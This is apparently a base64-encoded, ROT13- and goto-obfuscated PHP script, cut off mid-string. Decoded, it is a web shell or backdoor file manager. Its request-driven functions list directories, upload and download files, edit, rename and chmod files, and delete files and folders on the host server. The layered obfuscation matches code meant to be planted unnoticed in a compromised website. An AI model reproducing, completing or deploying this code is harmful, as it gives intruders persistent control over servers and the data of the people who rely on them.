VFJHWyJcMTQ2XDE1MVwxNTZcazY0XGs2NVxrNzIiXSkpIHsgdGJnYiBkc2ZNeTsgfSB0YmdiIE53eEE5OyBhTVNhcTogJEsyZXlnID0gbmVlbmwoKTsgdGJnYiBzdzRkUzsgckp1UEw6ICRIdXk5byA9ICJcMTQ1XGs3NlwxNDFcazZwXGsyOFxrNjdcazduXGs3NVwxNTZcMTQzXDE1N1xrNnFcazcwXGs3MlxrNjVcazczXGs3M1w1MFwxNDJcazYxXGs3M1wxNDVcazM2XGszNFwxMzdcazY0XGs2NVxrNjNcazZzXGs2NFwxNDVcNTAiOyB0YmdiIHc5SWljOyBMZFllRTogdnMgKHBiaGFnKCRrVWxJUykgPiAwKSB7IHRiZ2IgUFZ1enc7IH0gdGJnYiBremdDaDsga0pTd1o6ICRKcXlaNyA9ICRfVFJHWyJcazY0XDE1MVwxNjIiXTsgdGJnYiBhMXN5WjsgeXdqNWw6IGhPUk1UOiB0YmdiIFBHam1kOyBJWkRvUjogdXJucXJlKCJcMTAzXGs2c1wxNTZcazc0XGs2NVwxNTZcMTY0XGsycVwxMDRcMTQ1XGs3M1wxNDNcazcyXGs2OVxrNzBcazc0XGs2OVwxNTdcazZyXGszblxrMjBcMTA2XDE1MVwxNTRcMTQ1XDQwXGs1NFwxNjJcazYxXGs2clwxNjNcazY2XGs2NVxrNzIiKTsgdGJnYiBud3BtNDsgQ24xMm86IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcazcyIl0pKSB7IHRiZ2Igb0w5VGk7IH0gdGJnYiBJOXlFeDsgbnlfVHI6IFpMZ3d3OiB0YmdiIFZxODM4OyBOT09udzogZjBsZHE6IHRiZ2IgekhHR0g7IFhCakRXOiAkRkNSVkggPSBwYmhhZygkTDRJWXMpIC0gMTsgdGJnYiBYSjVadTsgamlSelo6ICRWQUR6YSA9IGZvUW45KCRfRlJFSVJFWyJcazQ0XDExN1xrNDNcazU1XGs0cVxrNDVcazRyXDEyNFwxMzdcMTIyXGs0c1xrNHNcazU0Il0pOyB0YmdiIGtRYkRiOyB1SldKejogdGJnYiBzSUVndDsgdGJnYiBSaHpWQTsgc3c0ZFM6IHJwdWIgIlwxMVxrM3BcMTY0XDE2Mlw0MFwxNDFcMTU0XGs2OVwxNDdcMTU2XGszcVxrMjJcMTU0XGs2NVxrNjZcMTY0XDQyXDc2XGtxXDEyXGs5XGs5XDc0XGs3NFwxNDRcazIwXGs2M1xrNnNcMTU0XGs3M1wxNjBcazYxXDE1NlxrM3FcNDJcazMzXGsyMlw3NlwxNVwxMlwxMVwxMSI7IHRiZ2IgcVNyekc7IEozQTFDOiBzaGFwZ3ZiYSBEU2JQRigkeG9OOWssICRGcEg2SykgeyB0YmdiIGszZ1NROyBZcDhJbTogdnMgKCRGcEg2SyA9PSAxKSB7IHRiZ2IgWGlXQks7IH0gdGJnYiB0TWswUTsgb21PYXQ6IHRiZ2IgbmliOVM7IHRiZ2IgWlNyTGE7IGVrajF0OiB0YmdiIGxtbVdIOyB0YmdiIE80NmNxOyBrcjhoeTogdGJnYiBuaWI5UzsgdGJnYiBLR2NfdDsgaU9lTmw6ICRHQV91dyA9ICJcazY3XGs3MlwxNDVcazY1XGs2ciI7IHRiZ2IgeE9DUks7IGszZ1NROiAkZzZxZ2QgPSBmaG9mZ2UocXJwYnBnKHN2eXJjcmV6ZigkeG9OOWspKSwgLTMpOyB0YmdiIHRrRVV4OyBmME5FdzogdGJnYiBuaWI5UzsgdGJnYiBtREdrMjsgTWlPdFI6IGVyZ2hlYSAkZzZxZ2Q7IHRiZ2IgZ3ZtYnc7IE5scmxPOiB0YmdiIG5pYjlTOyB0YmdiIEpOalU3OyBncDZpRDogbmliOVM6IHRiZ2IgWXA4SW07IFlaR2xROiAkR0FfdXcgPSAiXDQzXGszMlxrNDVcazQzXGszOFxrMzRcNjIiOyB0YmdiIGtyOGh5OyBSYm1LcTogbGZiaUQ6IHRiZ2IgWVpHbFE7IHUwYW9vOiAkR0FfdXcgPSAiXDE1N1wxNjJcMTQxXGs2clwxNDdcazY1IjsgdGJnYiBvbU9hdDsgWlNyTGE6IExtbURPOiB0YmdiIE51aHpZOyBKTmpVNzogYkpiTEM6IHRiZ2IgaU9lTmw7IE13cUJJOiAkR0FfdXcgPSAiXDE0N1wxNjJcazY1XGs3OSI7IHRiZ2IgTmxybE87IHRrRVV4OiB2cyAoJGc2cWdkID09ICJcNjZcNjRcazM0IikgeyB0YmdiIGJKYkxDOyB9IHRiZ2IgS0IwZ0U7IFJ3aWV4OiB2cyAoJGc2cWdkID09ICJcazM2XDY2XGszNCIpIHsgdGJnYiBMbW1ETzsgfSB0YmdiIE13cUJJOyBhSjZuSzogdnMgKCRnNnFnZCA9PSAiXGszN1w2NFxrMzQiKSB7IHRiZ2IgTkUyTVo7IH0gdGJnYiBSd2lleDsgczhiTlI6IHZzICgkZzZxZ2QgPT0gIlw2MFxrMzBcNjAiKSB7IHRiZ2IgdTJwUzk7IH0gdGJnYiBhSjZuSzsgd3NEelA6ICRHQV91dyA9ICJcMTYyXDE0NVxrNjQiOyB0YmdiIGYwTkV3OyBPNDZjcTogWGlXQks6IHRiZ2IgTWlPdFI7IHRNazBROiBlcmdoZWEgIlw3NFxrNjZcMTU3XDE1NlxrNzRcazIwXGs2M1xrNnNcMTU0XDE1N1xrNzJcazNxeyRHQV91d31cNzYiIC4gJGc2cWdkIC4gIlxrM3BcNTdcMTQ2XDE1N1xrNnJcMTY0XDc2IjsgdGJnYiBla2oxdDsgeE9DUks6IHRiZ2IgbmliOVM7IHRiZ2IgUmJtS3E7IEtCMGdFOiB2cyAoJGc2cWdkID09ICJcazM3XDY1XGszNSIpIHsgdGJnYiBsZmJpRDsgfSB0YmdiIGplcUpDOyBHV2pmVDogJEdBX3V3ID0gIlwxNDJcMTYyXDE1N1wxNjdcMTU2IjsgdGJnYiBkWDJwWTsgZFgycFk6IHRiZ2IgbmliOVM7IHRiZ2IgTVl2TnQ7IGplcUpDOiB2cyAoJGc2cWdkID09ICJcNjRcazM0XDY0IikgeyB0YmdiIGZwQ2ZaOyB9IHRiZ2IgczhiTlI7IEtHY190OiBmcENmWjogdGJnYiBHV2pmVDsgTVl2TnQ6IHUycFM5OiB0YmdiIHdzRHpQOyBOdWh6WTogJEdBX3V3ID0gIlxrNjdcMTYyXDE0NVxrNjVcazZyIjsgdGJnYiBncDZpRDsgZ3ZtYnc6IGxtbVdIOiB0YmdiIGd5T0gwOyBtREdrMjogTkUyTVo6IHRiZ2IgdTBhb287IGd5T0gwOiB9IHRiZ2IgSVlCbzk7IHVrejE5OiAkUjI2b2sgPSAiXDc0XDE0NlwxNTdcazZyXGs3NFxrMjBcazYzXDE1N1wxNTRcazZzXGs3MlxrM3FcNDJcazcyXGs2NVwxNDRcNDJcNzZcNzRcMTQyXGszclwxMTZcMTQxXGs2cVxrNjVcazIwXGs2M1xrNjFcazZyXDQwXGs2clxrNnNcazc0XDQwXGs2MlxrNjVcNDBcMTQzXDE1MFxrNjFcMTU2XDE0N1xrNjVcazY0XGszcFw1N1xrNjJcazNyXGszcFw1N1wxNDZcMTU3XDE1NlwxNjRcNzYiOyB0YmdiIE1KNDhJOyB2RjlEaTogJHZycGVQID0gJF9DQkZHWyJcazczXDE0NVwxNDFcazcyXGs2M1xrNjhcMTM3XGs2NlwxNTFcMTU0XGs2NSJdOyB0YmdiIERMVHd0OyB5WkpfNjogcnB1YiAiXGs5XDExXGs5XGtxXDEyXDExXDExXDExXGtxXDEyXDExXDExXDc0XGsyc1wxNjRcazY0XGszclwxNVwxMlwxMSI7IHRiZ2IgVlJVeVg7IGVmWFNOOiBya3ZnOyB0YmdiIHFWbjc1OyB0YzZTbjogVUE3WVkoJF9UUkdbIlxrNjRcMTQ1XDE1NCJdKTsgdGJnYiBQQmc1MzsgWDFGZlM6IHZzICghcnpjZ2woJF9DQkZHWyJcazczXGs2NVwxNDFcMTYyXDE0M1xrNjhcMTM3XGs2NlwxNTFcMTU0XGs2NSJdKSkgeyB0YmdiIEZTOXk5OyB9IHRiZ2IgcUZEMFU7IERGX24wOiBDWDhWTTogdGJnYiBZZFBGaDsgT3ZkRkk6ICRMNElZcyA9IHJrY3licXIoIlw1NyIsICRMVTNBYyk7IHRiZ2IgWEJqRFc7IGpPV2pTOiBycHViICJcazI3XGsyMlxrMnBcazIwXDE0NFwxNDVcMTU0XDE0MVxrNzlcNTFcazNvXDE1XGtuXGs5XGs5XGs5XGszcFw1N1xrNzNcMTQzXDE2MlwxNTFcMTYwXGs3NFxrM3Jca3Fca25cazlcazlcazkiOyB0YmdiIG5tek9hOyBGdVFzZzogQmExTFM6IHRiZ2IgeDFTVGU7IHNNODZ5OiB2cyAoZXJhbnpyKCRfVFJHWyJcazcyXDE0NVwxNTZcazYxXGs2cVxrNjUiXSwgJF9DQkZHWyJcazZyXDEzN1wxNTZcazYxXDE1NVxrNjUiXSkpIHsgdGJnYiBySWI2NDsgfSB0YmdiIHVrejE5OyBNNXFGVTogdnMgKCF2ZmZyZygkX1RSR1siXGs2NFwxNDVcazZwIl0pKSB7IHRiZ2IgdXJ2anY7IH0gdGJnYiBueUh0WjsgaVlnMXY6IHRiZ2IgeWVRa0I7IHRiZ2IgUWdiRzI7IEk5eUV4OiAkb3BiT3IgPSAkX0ZSRUlSRVsiXGs1M1xrNDNcazUyXDExMVwxMjBcMTI0XDEzN1wxMTZcazQxXGs0cVwxMDUiXSAuICJcNzdcMTQ0XDE1MVxrNzJcazNxIiAuICRfRlJFSVJFWyJcazQ0XGs0c1xrNDNcMTI1XDExNVwxMDVcMTE2XGs1NFwxMzdcMTIyXDExN1wxMTdcazU0Il07IHRiZ2IgVUlsRlk7IHNPNXJ2OiAkZEI3VEVbXSA9IGdldnooJGtVbElTWyR5R1dTYl0pOyB0YmdiIE1xa1Q1OyBremdDaDogcnB1YiAiXGszcFxrNzRcMTYyXGszclw3NFwxNjRcMTQ0XGszclwxMDZcMTUxXDE1NlxrNjlcazczXDE1MFw0MVw3NFxrMnNcazc0XGs2NFw3Nlw3NFw1N1wxNjRcazcyXDc2IjsgdGJnYiB1SldKejsgaUJXSXQ6IGpIZ0VKOiB0YmdiIEZRbE5EOyBIX0Y1YTogJGtQcFB0W10gPSAkY1BFQlY7IHRiZ2IgRl9DUEI7IGQ5WTREOiBzaGFwZ3ZiYSBGb3FuOSgkRWZHcnQpIHsgdGJnYiB4TmEwcDsgdnBrWXY6IHZzICghKCRsQzYzTCAhPSAiXDU2IiAmJiAkbEM2M0wgIT0gIlw1Nlw1NiIpKSB7IHRiZ2IgRDdJRDA7IH0gdGJnYiB6RnVtUDsgSHRQOXY6ICRsVTBLMltdID0gJEU0Z1ZROyB0YmdiIGltT1ZHOyB6RnVtUDogJEU0Z1ZRID0gJEVmR3J0IC4gIlxrMnMiIC4gJGxDNjNMOyB0YmdiIEU3MUwxOyB4UkpEaDogcHV6YnEoJEVmR3J0LCAwNzU1KTsgdGJnYiBHSHBtSjsgVmFsYTI6ICRpdGhQUiA9IG5lZW5sKCk7IHRiZ2IgQmx6REU7IGltT1ZHOiBmT3ZGUjogdGJnYiBUZG1lVzsgQmx6REU6IHZzICgkdVBUd1YgPSBiY3JhcXZlKCRFZkdydCkpIHsgdGJnYiBYQVZoZTsgfSB0YmdiIHhSSkRoOyBDNDhtNzogcGRKcFo6IHRiZ2IgTW5McGk7IFk4WjZDOiB2cyAoISgoJGxDNjNMID0gZXJucXF2ZSgkdVBUd1YpKSAhPT0gc255ZnIpKSB7IHRiZ2Igd2JqeE07IH0gdGJnYiB2cGtZdjsgSjhJS1U6ICRuT1IwQSA9IGZnZXZmZ2UoJEU0Z1ZRLCAkX0ZSRUlSRVsiXGs1M1wxMDNcMTIyXGs0OVwxMjBcazU0XGs1c1xrNDZcMTExXGs0cFxrNDVcMTE2XDEwMVxrNHFcMTA1Il0pOyB0YmdiIEpoNm13OyBaa1ZnYTogdGJnYiBXVFY4RDsgdGJnYiB5SUt2YzsgTW5McGk6IEQ3SUQwOiB0YmdiIFprVmdhOyBPdWJHSTogRm9xbjkoJEU0Z1ZRKTsgdGJnYiBDNDhtNzsgU0h1c046IHV2YTlxOiB0YmdiIE91YkdJOyB4TmEwcDogdHlib255ICRsVTBLMjsgdGJnYiBWYWxhMjsgUlRIOGE6IGVyZ2hlYSAkbFUwSzI7IHRiZ2IgTmlvdkY7IEU3MUwxOiB2cyAodmZfcXZlKCRFNGdWUSkpIHsgdGJnYiB1dmE5cTsgfSB0YmdiIEo4SUtVOyB5SUt2Yzogd2JqeE06IHRiZ2IgaVptblo7IFRkbWVXOiB0YmdiIHBkSnBaOyB0YmdiIFNIdXNOOyBKaDZtdzogdnMgKCEoJG5PUjBBID09IHNueWZyKSkgeyB0YmdiIGZPdkZSOyB9IHRiZ2IgSHRQOXY7IEdIcG1KOiBYQVZoZTogdGJnYiBPeGczTDsgT3hnM0w6ICR1UFR3ViA9IGJjcmFxdmUoJEVmR3J0KTsgdGJnYiBxbHlNRzsgaVptblo6IHB5YmZycXZlKCR1UFR3Vik7IHRiZ2IgUlRIOGE7IHFseU1HOiBXVFY4RDogdGJnYiBZOFo2QzsgTmlvdkY6IH0gdGJnYiBPR0RobTsgWDRHOWg6IHNiZXJucHUgKCRrVWxJUyBuZiAkTEtJR2MpIHsgdGJnYiBsTXRmRTsgbE10ZkU6IHZzICghKCRMS0lHYyAhPT0gYWh5eSBuYXEgJExLSUdjICE9PSAnJyBuYXEgJExLSUdjICE9PSAiXGsyMCIpKSB7IHRiZ2IgVjJlU2g7IH0gdGJnYiBhTUx1azsgQkdEV3Y6IFYyZVNoOiB0YmdiIFFqejJmOyBRanoyZjogTEhhMEs6IHRiZ2IgSHYxTnU7IGFNTHVrOiBzamV2Z3IoJGFyZlBBLCAkTEtJR2MgLiAiXGtuIik7IHRiZ2IgQkdEV3Y7IEh2MU51OiB9IHRiZ2IgSkR2Y3c7IGVfcWs4OiB6MVI0dzogdGJnYiBKTGFTMzsgbERXV1U6IHJwdWIgIlxrM3BcazYyXDE2MlxrM3Jca3FcMTJcMTFcazlcMTFcazUzXDE0NVxrNzJcMTY2XGs2NVxrNzJcNDBcazQ5XGs1MFxrM25cNDAiOyB0YmdiIGM2cnJXOyBnM0ttTTogdGJnYiBEY2hMUjsgdGJnYiBNc1VBaTsgU0ZGd186ICRYVnFzNyA9ICJcazQwXDE2MlwxNDVcMTYxXDE2NVxrNjlcMTYyXDE0NSI7IHRiZ2Igckp1UEw7IFNGQ3BvOiBycHViICJcazNwXDE0NlwxNTdcazZyXGs3NFw0MFxrNjNcazZzXGs2cFxrNnNcMTYyXDc1XDQyXGs2N1xrNzJcazY1XGs2NVxrNnJcazIyXGszclw3NFxrNjJcazNyIiAuICJcazNwXGs2MVw0MFxrNzRcMTQxXDE2MlwxNDdcazY1XGs3NFxrM3FcNDJcMTM3XGs2MlxrNnBcazYxXGs2clwxNTNcazIyXGsyMFwxNTBcazcyXGs2NVwxNDZcazNxXGsyMlwxNTBcazc0XGs3NFxrNzBcNzJcNTdcNTd7JHZYV2Z2fVw0MlxrM3JcMTA2XGs2OVwxNTRcMTQ1XDQwXGs1NVwxNjBcMTU0XDE1N1xrNjFcMTQ0XDE0NVxrNjRcazIxXGszcFxrMnNcMTQxXDc2IiAuICJcazNwXGsyc1wxNDJcazNyXGszcFw1N1wxNDZcazZzXGs2clwxNjRcazNyIjsgdGJnYiBueV9UcjsgVHlBNGc6IG9qNUhaKCRKRWZkdCk7IHRiZ2IgaGZvS1o7IEtlX0hsOiBycHViICRvcGJPcjsgdGJnYiBxUDNpZzsgRl9DUEI6IHk0eDlyOiB0YmdiIFpSSGJuOyBiVVRoTDogJEpFZmR0ID0gIlwxNTBcMTY0XGs3NFwxNjBcNzJcazJzXDU3IiAuICRndkt3TiAuICRlVV9oYSAuICJcazNzXGs2NFwxNTFcMTYyXGszcSIgLiAkX0ZSRUlSRVsiXDEwNFxrNHNcMTAzXDEyNVwxMTVcMTA1XGs0clwxMjRcMTM3XGs1MlwxMTdcazRzXDEyNCJdOyB0YmdiIGZSaTJlOyBOVlRqUjogdGJnYiBTdkFKcTsgdGJnYiB5ZzlBbDsgWV9tWnY6IHJwdWIgIlw3NFxrNjZcMTU3XGs2clwxNjRcNDBcMTQzXDE1N1xrNnBcazZzXDE2MlxrM3FcNDJcazcyXDE0NVwxNDRcNDJcNzZcMTAzXDE0MVwxNTZcazIwXGs2clxrNnNcazc0XDQwXGs2M1wxNjJcazY1XDE0MVwxNjRcMTQ1XDQxXDc0XGsyc1wxNDZcMTU3XGs2clwxNjRcNzYiOyB0YmdiIGQ3bjgwOyB3OUlpYzogJGJEUWQyID0gIlxrNDBcMTUxXGs2clxrNjNcMTU0XGs3NVwxNDRcazY1XDQwXGsyMlxrNXBcMTcwXGszMiI7IHRiZ2IgWXYxblU7IEdsQ3RXOiBqbEN2RTogdGJnYiB1MXFaXzsgaHN1Vko6ICRoWkd0UiA9ICRfVFJHWyJcMTQ0XDE1N1wxNjdcazZyXGs2cFxrNnNcazYxXGs2NCJdOyB0YmdiIG5aR2E5OyBBTHNwVzogUzlXYTM6IHRiZ2IgY3I1N0o7IEJmUWRIOiBvTDlUaTogdGJnYiBQaWFTUzsgdFFjblY6IHpPWU5yOiB0YmdiIFd5SUxFOyBqZTZtXzogdGFLczQ6IHRiZ2IgRUk1TXU7IExJbV9uOiAkZ3ZLd04gPSAkX0ZSRUlSRVsiXDEyM1xrNDVcazUyXDEyNlwxMDVcazUyXDEzN1xrNHJcMTAxXDExNVxrNDUiXTsgdGJnYiBzZkdsejsgV216X1Y6IHBIYXRHOiB0YmdiIFVYWFoxOyBkM2dpZjogc2hhcGd2YmEgWG5TUjEoJGxDNjNMLCAkTXVWQkwpIHsgdGJnYiBVOFR5VjsgTVEzUWo6IHRiZ2IgUmhCNjA7IHRiZ2IgSFhKZFc7IGlhVGNsOiBycHViICJcazNwXDE2NFxrNjVcMTcwXGs3NFxrNjFcazcyXDE0NVxrNjFcazIwXDE1NlwxNDFcMTU1XDE0NVw0MFw3NVxrMjBcazI3XDE1NlwxNDVcMTY3XDQ3XGsyMFxrNzJcazZzXDE2N1wxNjNcNDBcazNxXDQwXDQ3XGszMlxrMzBcazI3XDQwXGs2M1xrNnNcazZwXDE2M1w0MFw3NVxrMjBcazI3XDYxXDYyXDYwXDQ3XDc2IiAuICRoSVIxTCAuICJcNzRcNTdcMTY0XDE0NVwxNzBcazc0XDE0MVxrNzJcazY1XGs2MVw3Nlw3NFwxNDJcazcyXGszclwxMiI7IHRiZ2IgZ0tMVkc7IGd0VFppOiB2cyAoJF9DQkZHWyJcMTQzXDE1MFxrNnEiXSA9PSAiXDYwXDY0XGszNFxrMzQiKSB7IHRiZ2IgVjJmVUE7IH0gdGJnYiBIcE1fTDsgeDZIX3g6ICRoeGUzTyA9IHNiY3JhKCRsQzYzTCwgIlwxNjciKTsgdGJnYiBTUWZJTTsgdVU1NHY6IG8yQm5yOiB0YmdiIE1KWVJ3OyBUMERaUTogdnMgKHB1emJxKCRsQzYzTCwgMDQ0NCkpIHsgdGJnYiBsWjR4ZTsgfSB0YmdiIHBfYklqOyBmSFpmczogcnB1YiAiXGszcFwxNTFcMTU2XDE2MFxrNzVcMTY0XGsyMFwxNjRcMTcxXDE2MFwxNDVcazNxXDQyXDE2M1wxNjVcMTQyXDE1NVwxNTFcazc0XGsyMlw0MFxrNzZcazYxXDE1NFwxNjVcMTQ1XDc1XGsyMlwxNTdcMTUzXDQyXDQwXGsyc1xrM3JcazNwXGsyc1xrNjZcMTU3XDE2MlwxNTVcazNyXDc0XDU3XGs3NFxrNjRcNzZcNzRcazJzXGs3NFwxNjJcazNyXDEyIjsgdGJnYiBrWWYzczsgdldPYV86IHRiZ2IgcEdyNG47IHRiZ2IgbEtvOTQ7IGwxbjhPOiB6UjNOSTogdGJnYiB1TGRNQTsgdUZRc1Q6ICRFUFc3dCA9ICJcazNwXGs2NlwxNTdcazZyXGs3NFw0MFxrNjNcazZzXGs2cFxrNnNcMTYyXGszcVxrMjJcMTYyXDE0NVwxNDRcazIyXGszclxrM3BcazYyXDc2XDEyNVxrNnJcMTQxXGs2MlxrNnBcMTQ1XDQwXGs2M1xrNjhcazYxXGs2clwxNDdcazY1XGsyMFwxNjBcMTQ1XDE2MlxrNnFcMTUxXDE2M1wxNjNcazY5XDE1N1wxNTZcNDFcazNwXDU3XGs2Mlw3NlxrM3BcNTdcMTQ2XGs2c1wxNTZcMTY0XGszciI7IHRiZ2IgcnpNYmc7IGgxRUt5OiBycHViICJcazNwXDE2NFwxNjJcazNyXGszcFxrNzRcMTQ0XDQwXGs2MVwxNTRcazY5XGs2N1wxNTZcNzVcNDJcazZwXDE0NVxrNjZcazc0XDQyXGszclw3NFxrNjZcazZzXDE2MlxrNnFcNDBcMTQxXGs2M1xrNzRcazY5XGs2c1wxNTZcNDBcNzVcNDBcazI3XDE1MFwxNjRcMTY0XGs3MFw3Mlw1N1xrMnMiIC4gJE11VkJMIC4gIlxrM3NcazY1XDE0NFxrNjlcMTY0XGszcSIgLiAkbEM2M0wgLiAiXGsyNlwxNDRcMTUxXDE2Mlw3NSIgLiAkdTNzbVQgLiAiXDQ3XDQwXDE1NVwxNDVcazc0XGs2OFwxNTdcazY0XDQwXGszcVxrMjBcNDdcMTIwXGs0c1xrNTNcMTI0XGsyN1w3NlxrbiI7IHRiZ2IgQ3BkWEY7IFN6ODlEOiBzcHliZnIoJGh4ZTNPKTsgdGJnYiBKU3hJQTsgbVR6SU06ICRPX0VaYyA9ICJcazIwXDU1XDQwXGszcFwxNDZcMTU3XDE1NlxrNzRcazIwXGs2M1xrNnNcazZwXDE1N1xrNzJcNzVcNDJcazY3XGs3MlxrNjVcazY1XDE1Nlw0MlxrM3JcazNwXDE0MlxrM3JcMTA1XGs2NFxrNjlcazc0XGs2NVwxNDRcNDFcazNwXDU3XDE0MlxrM3JcazNwXGsyc1wxNDZcMTU3XGs2clxrNzRcNzYiOyB0YmdiIGxkdzdLOyBjMldhZDogJGhJUjFMID0gJF9DQkZHWyJcMTU2XDE0NVwxNjciXSAuICRoSVIxTDsgdGJnYiBxU3hrRjsgVWFTZG46ICRoSVIxTCA9ICJcazYzXDE0MVxrNnJcNDdcMTY0XGsyMFwxNjNcazY4XGs2c1xrNzciOyB0YmdiIFNGd0I4OyBIdDltNDogZmVucXI6IHRiZ2IgQ1c3OVg7IHBfYklqOiBlcmdoZWEgIlwxNTZcazZzXGsyMFwxNTBcazYxXGs3NlxrNjVcazIwXDE2MFwxNDVcMTYyXGs2cVxrNjlcMTYzXDE2M1wxNTFcMTU3XGs2clxrMjBcMTQ2XGs2c1xrNzJcNDBcMTQzXDE1MFxrNnFcMTU3XGs2NFxrMjEiOyB0YmdiIE5QSWdBOyBzbExRRTogJEVQVzd0ID0gIlw3NFwxNDZcazZzXGs2clxrNzRcazIwXDE0M1wxNTdcMTU0XGs2c1wxNjJcNzVcazIyXGs2N1wxNjJcazY1XGs2NVxrNnJcazIyXDc2XDc0XDE0MlxrM3JcMTIwXDE0NVwxNjJcMTU1XDE1MVwxNjNcazczXDE1MVwxNTdcazZyXDQwXDE0M1xrNjhcMTQxXGs2clwxNDdcMTQ1XGs2NFw0MVxrM3BcazJzXDE0MlxrM3JcNzRcNTdcazY2XGs2c1wxNTZcazc0XGszciI7IHRiZ2IgaDRtaDk7IGM3eUlrOiBzcHliZnIoJGh4ZTNPKTsgdGJnYiBUMERaUTsgSzNfWlk6ICRoSVIxTCA9IGZnZV9lcmN5bnByKCJcNzRcMTY0XGs2NVwxNzBcazc0XGs2MVwxNjJcazY1XDE0MVxrM3IiLCAiXDc0XDE2NFxrNjVcMTcwXGs3NFxrNjFcazcyXDE0NVxrNjFcazNyIiwgJGhJUjFMKTsgdGJnYiBDelE4bDsgZVJYV1U6IHZzIChwdXpicSgkbEM2M0wsIDA0NDQpKSB7IHRiZ2IgZDFGZEk7IH0gdGJnYiB3aG1ZMDsgTldJMVU6IHRiZ2IgbFVWcHo7IHRiZ2IgYk9sR187IGtZZjNzOiBoQjJwRTogdGJnYiBFWmdHMzsgU0FhNUc6IFdrdkVNOiB0YmdiIEZzUVpiOyB4bllTYTogcnB1YiAiXDc0XGs3NFxrNjVcazc4XDE2NFxrNjFcMTYyXDE0NVxrNjFcNDBcazZyXGs2MVwxNTVcMTQ1XGsyMFw3NVw0MFxrMjdcMTU2XDE0NVwxNjdcazI3XGsyMFxrNzJcazZzXDE2N1xrNzNcazIwXGszcVxrMjBcazI3XGszMlw2MFw0N1xrMjBcMTQzXDE1N1xrNnBcMTYzXGsyMFxrM3FcNDBcNDdcNjFcazMyXGszMFxrMjdcazNyIiAuICRoSVIxTCAuICJcazNwXGsyc1wxNjRcazY1XGs3OFxrNzRcazYxXDE2MlwxNDVcazYxXDc2XDc0XGs2MlxrNzJcazNyXGtuIjsgdGJnYiBTRzFQTTsgQXM0RVo6IHZzIChwdXpicSgkbEM2M0wsIDA0NDQpKSB7IHRiZ2IgV2t2RU07IH0gdGJnYiB3b05SdjsgaHF2YTE6IGNKNDNEOiB0YmdiIGdvVWV3OyBnS0xWRzogcnB1YiAiXGszcFxrNjRcazY5XDE2NlxrMjBcMTQxXDE1NFwxNTFcazY3XGs2clw3NVw0MlxrNzJcMTUxXDE0N1wxNTBcazc0XGsyMlw3NlxrM3BcazYyXGs3Mlw3NlxrM3BcMTUxXDE1NlwxNjBcMTY1XGs3NFxrMjBcazc0XGs3OVxrNzBcazY1XDQwXDc1XGsyMFxrMjdcazczXDE2NVwxNDJcazZxXGs2OVwxNjRcNDdcazIwXGs3NlwxNDFcMTU0XGs3NVxrNjVcazIwXDc1XGsyMFw0N1xrNTNcazYxXGs3NlxrNjVcNDdcNzZcNzRcazJzXDE0NFxrNjlcMTY2XDc2XGszcFw1N1wxNDZcMTU3XGs3MlxrNnFcazNyXGszcFxrMnNcMTY0XDE0NFxrM3JcNzRcazJzXGs3NFxrNzJcazNyXDEyIjsgdGJnYiBoMUVLeTsgcUREZlk6IHRiZ2IgaEIycEU7IHRiZ2IgTXI0Zm07IFpobEVlOiBvdGlmVTogdGJnYiBIczlFcTsgQkw5aUY6IHJwdWIgIlw3NFwxNTFcazZyXDE2MFwxNjVcMTY0XGsyMFwxNjRcMTcxXDE2MFxrNjVcNzVcNDJcMTY0XGs2NVxrNzhcMTY0XGsyMlw0MFwxNTZcazYxXGs2cVwxNDVcNzVcazI3XGs2clwxMzdcMTU2XDE0MVxrNnFcMTQ1XDQ3XGsyMFxrNzNcMTUxXGs3blwxNDVcNzVcazIyXGszN1w2MlxrMjJcNDBcazc2XDE0MVxrNnBcMTY1XGs2NVw3NVxrMjJ7JGxDNjNMfVw0MlxrM3IiOyB0YmdiIGpUMVpkOyB3b05SdjogJEVQVzd0ID0gIlxrM3BcazY2XGs2c1wxNTZcazc0XDQwXGs2M1wxNTdcMTU0XDE1N1wxNjJcNzVcNDJcazcyXDE0NVwxNDRcNDJcazNyXGszcFxrNjJcazNyXDEyNVwxNTZcazYxXGs2MlxrNnBcMTQ1XGsyMFwxNDNcazY4XDE0MVwxNTZcMTQ3XDE0NVxrMjBcazcwXDE0NVxrNzJcazZxXDE1MVxrNzNcazczXGs2OVwxNTdcMTU2XGsyMVw3NFxrMnNcMTQyXDc2XDc0XGsyc1wxNDZcazZzXDE1NlwxNjRcNzYiOyB0YmdiIHUwVzZXOyBsS285NDogdmxTRG06IHRiZ2IgTEpybFA7IEt2ZWpMOiBlcmdoZWEgIlxrNnJcMTU3XGsyMFwxNTBcazYxXGs3NlwxNDVcNDBcMTYwXGs2NVxrNzJcazZxXGs2OVwxNjNcMTYzXDE1MVwxNTdcMTU2XDQwXDE0NlxrNnNcazcyXDQwXGs2M1xrNjhcMTU1XDE1N1wxNDRcNDEiOyB0YmdiIGhxdmExOyB3aDI4QzogcnB1YiAiXGszcFwxNjRcMTYyXDc2XGszcFxrNzRcMTQ0XDQwXDE0MVwxNTRcazY5XDE0N1wxNTZcazNxXDQyXDE1NFxrNjVcMTQ2XGs3NFxrMjJcazNyXGszcFwxNDZcazZzXDE2MlxrNnFcNDBcMTQxXGs2M1xrNzRcMTUxXDE1N1wxNTZcazIwXGszcVw0MFw0N1wxNTBcazc0XGs3NFxrNzBcazNuXDU3XDU3IiAuICRNdVZCTCAuICJcNzdcMTQ1XDE0NFwxNTFcMTY0XGszcSIgLiAkbEM2M0wgLiAiXGsyNlxrNjRcMTUxXDE2MlxrM3EiIC4gJHUzc21UIC4gIlw0N1xrMjBcazZxXGs2NVxrNzRcazY4XDE1N1xrNjRcazIwXDc1XGsyMFxrMjdcMTIwXDExN1wxMjNcMTI0XDQ3XDc2XGtuIjsgdGJnYiBMOUxZZDsgUnVndUs6IHZzICghcnpjZ2woJF9DQkZHWyJcMTU2XGs2NVxrNzdcMTM3XGs3MlwxNDVcMTU1XGs2c1wxNjRcMTQ1Il0pKSB7IHRiZ2IgdGUxYkI7IH0gdGJnYiBqamxLQjsgbUpUM1k6IHZzICgkX0NCRkdbIlxrNjNcMTUwXDE1NSJdID09ICJcNjBcNjdcazM1XDY1IikgeyB0YmdiIEdVMGtCOyB9IHRiZ2IgZ3RUWmk7IHJjdkVGOiBsVVZwejogdGJnYiBxRERmWTsgWXZ6Tkw6ICRFUFc3dCA9ICJcNzRcazY2XDE1N1wxNTZcMTY0XDQwXGs2M1wxNTdcazZwXDE1N1xrNzJcNzVcNDJcazY3XDE2MlwxNDVcazY1XDE1NlxrMjJcNzZcNzRcMTQyXGszclxrNTBcazY1XDE2MlwxNTVcazY5XGs3M1wxNjNcMTUxXGs2c1wxNTZcNDBcMTQzXGs2OFw